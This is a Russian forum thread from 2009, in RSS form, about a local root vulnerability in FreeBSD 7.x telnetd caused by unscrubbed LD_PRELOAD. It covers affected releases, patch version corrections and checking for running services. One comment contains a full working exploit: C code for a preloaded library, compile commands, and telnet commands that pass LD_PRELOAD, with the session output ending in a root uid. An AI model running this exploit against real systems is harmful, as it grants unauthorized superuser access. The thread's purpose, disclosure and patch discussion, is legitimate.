OpenForum RSS: Получение root привилегий через telnetd демон во FreeBSD https://www.opennet.ru/openforum/vsluhforumID3/49482.html В telnetd демоне, входящем в состав FreeBSD 7.x, обнаружена (http://lists.grok.org.uk/pipermail/full-disclosure/2009-February/067954.html) критическая уязвимость, позволяющая локальному злоумышленнику получить привилегии суперпользователя в системе. Предположительно проблеме подвержены OpenBSD, NetBSD и другие системы.<br><br><br><br>Эксплоит настолько прост, что вначале даже не верится, что он может работать. Уязвимость связана ненадлежащей чисткой переменных окружения перед вызовом /bin/login из telnetd (отсутствует чистка переменной окружения LD_PRELOAD, которую можно передать со стороны клиента, так как telnet протокол поддерживает передачу переменных окружения). Суть метода в подключении, через LD_PRELOAD простейшей библиотеки, запускающей /bin/sh в процедуре инициализации. Библиотека должна находиться на атакуемом хосте. При этом в момент подключения к локальному telnetd серверу, злоумышленник без аутентификации получает root shell.<br><br><br>Теоретически на основе данной проблемы можно реализ...<br><br>URL: http://lists.g Получение root привилегий через telnetd демон во FreeBSD (aurved) https://www.opennet.ru/openforum/vsluhforumID3/49482.html#45 Wed, 18 Feb 2009 11:16:46 GMT recent changes in FreeBSD's environment-handling<br>code rendered telnetd's scrubbing inoperative, thereby allowing potentially<br>harmful environment variables to be set.<br><br>RECENT CHANGES -- насколько я понял это только в 7.0 и 7.1 проявилось, поэтому и исправлений даже для 6-ой ветки нету. А в старых ветках в environment-handling<br>code не было этого.<br> Получение root привилегий через telnetd демон во FreeBSD (оп... (PereresusNeVlezaetBuggy) https://www.opennet.ru/openforum/vsluhforumID3/49482.html#44 Wed, 18 Feb 2009 06:10:53 GMT &gt;[оверквотинг удален]<br>&gt;<br>&gt;===&gt;<br>&gt;Дополнение 1: Опубликован официальный отчет от службы реагирования на проблемы безопасности FreeBSD. <br>&gt;Уязвимости подвержены только FreeBSD 7.0-RELEASE, 7.1-RELEASE, 7-STABLE и 8-CURRENT. Исправление уже <br>&gt;присутствует в выпусках 7.1-RELEASE-p10, 7.0-RELEASE-p3, 7.1-STABLE и доступно в виде патча. <br>&gt;<br>&gt;===&gt;<br>&gt;<br>&gt;На самом деле должно быть 7.1-RELEASE-p3, 7.0-RELEASE-p10 <br>&gt;Видимо переписывали из анонса FreeBSD - там такая же ошибка :) <br><br>Тогда заодно стоит заменить<br><br>"Предположительно проблеме подвержены OpenBSD, NetBSD и другие системы."<br><br>на<br><br>"NetBSD и OpenBSD проблеме не подвержены, в DragonFly BSD проблема исправлена 14.02.2008; однако другие *BSD-системы могут всё ещё содержать уязвимость."<br> Получение root привилегий через telnetd демон во FreeBSD (опубликован патч) (Осторожный) https://www.opennet.ru/openforum/vsluhforumID3/49482.html#43 Wed, 18 Feb 2009 06:03:41 GMT В заголовке новости ошибка - исправьте !!!<br><br>===&gt;<br>Дополнение 1: Опубликован официальный отчет от службы реагирования на проблемы безопасности FreeBSD. Уязвимости подвержены только FreeBSD 7.0-RELEASE, 7.1-RELEASE, 7-STABLE и 8-CURRENT. Исправление уже присутствует в выпусках 7.1-RELEASE-p10, 7.0-RELEASE-p3, 7.1-STABLE и доступно в виде патча. <br>===&gt;<br><br>На самом деле должно быть 7.1-RELEASE-p3, 7.0-RELEASE-p10<br>Видимо переписывали из анонса FreeBSD - там такая же ошибка :)<br><br> Получение root привилегий через telnetd демон во FreeBSD (Аноним) https://www.opennet.ru/openforum/vsluhforumID3/49482.html#42 Tue, 17 Feb 2009 18:47:53 GMT &gt; Неужели в природе есть люди не сканящие свой сервер или рабочую станцию nmap и оставляющие ненужные демоны?!<br><br>для проверки на ненужные сервисы совсем не обязательно ставить nmap. Хватит и штатного sockstat(1). Напр.<br><br> sockstat -l46<br> Получение root привилегий через telnetd демон во FreeBSD (Frank) https://www.opennet.ru/openforum/vsluhforumID3/49482.html#41 Tue, 17 Feb 2009 13:00:33 GMT боюсь, сервак с 2000 vps загнётся ещё до логинов по ssh, от одного только количества запущенных процессов :)<br> Получение root привилегий через telnetd демон во FreeBSD (metallic) https://www.opennet.ru/openforum/vsluhforumID3/49482.html#40 Tue, 17 Feb 2009 10:32:46 GMT &gt;telnet довольно давно умеет шифрование делать. <br><br>А оно надо?<br> Получение root привилегий через telnetd демон во FreeBSD (metallic) https://www.opennet.ru/openforum/vsluhforumID3/49482.html#39 Tue, 17 Feb 2009 10:32:24 GMT Расслабьтесь, я пошутил :)<br> Получение root привилегий через telnetd демон во FreeBSD (опубликован патч) (Гость) https://www.opennet.ru/openforum/vsluhforumID3/49482.html#38 Tue, 17 Feb 2009 07:08:44 GMT Кому интересно...<br><br>%id<br>uid=1001(test) gid=1001(test) groups=1001(test)<br>%cd /tmp<br>%cat &gt;test.c<br>#include &lt;sys/types.h&gt;<br>#include &lt;login_cap.h&gt;<br>#include &lt;stdio.h&gt;<br> <br>int<br>setusercontext(login_cap_t *lc, const struct passwd *pwd, uid_t uid,<br> unsigned int flags)<br>{ <br> printf("Xa-xa!\n");<br> return (0);<br>}<br>%cc -c -o test.so -fPIC test.c<br>%cc -shared -o libtest.so.0.0 test.so<br>%telnet<br>telnet&gt; aut dis sra<br>telnet&gt; env def LD_PRELOAD /tmp/libtest.so.0.0<br>telnet&gt; ope localhost<br>Trying 127.0.0.1... <br>Connected to localhost.<br>Escape character is '^]'.<br><br>FreeBSD/i386 (shit.home.lan) (ttyp3)<br><br>Password:<br>Xa-xa! <br>Last login: Tue Feb 17 12:51:07 from form.win.alveis.<br>Xa-xa!<br>Copyright (c) 1992-2009 The FreeBSD Project.<br>Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994<br> The Regents of the University of California. All rights reserved.<br><br>FreeBSD 7.1-RELEASE (GENERIC) #0: Thu Jan 1 14:37:25 UTC 2009<br><br>Welcome to FreeBSD!<br><br><br>%id<br>uid=0(root) gid=0(wheel) Получение root привилегий через telnetd демон во FreeBSD (опубликован патч) (Гость) https://www.opennet.ru/openforum/vsluhforumID3/49482.html#37 Tue, 17 Feb 2009 07:07:12 GMT Вопрос не в скане - телнет никто в здравом уме не включит, а по умолчанию он выключен. Вопрос в том, что в принципе дыра в программе есть...<br>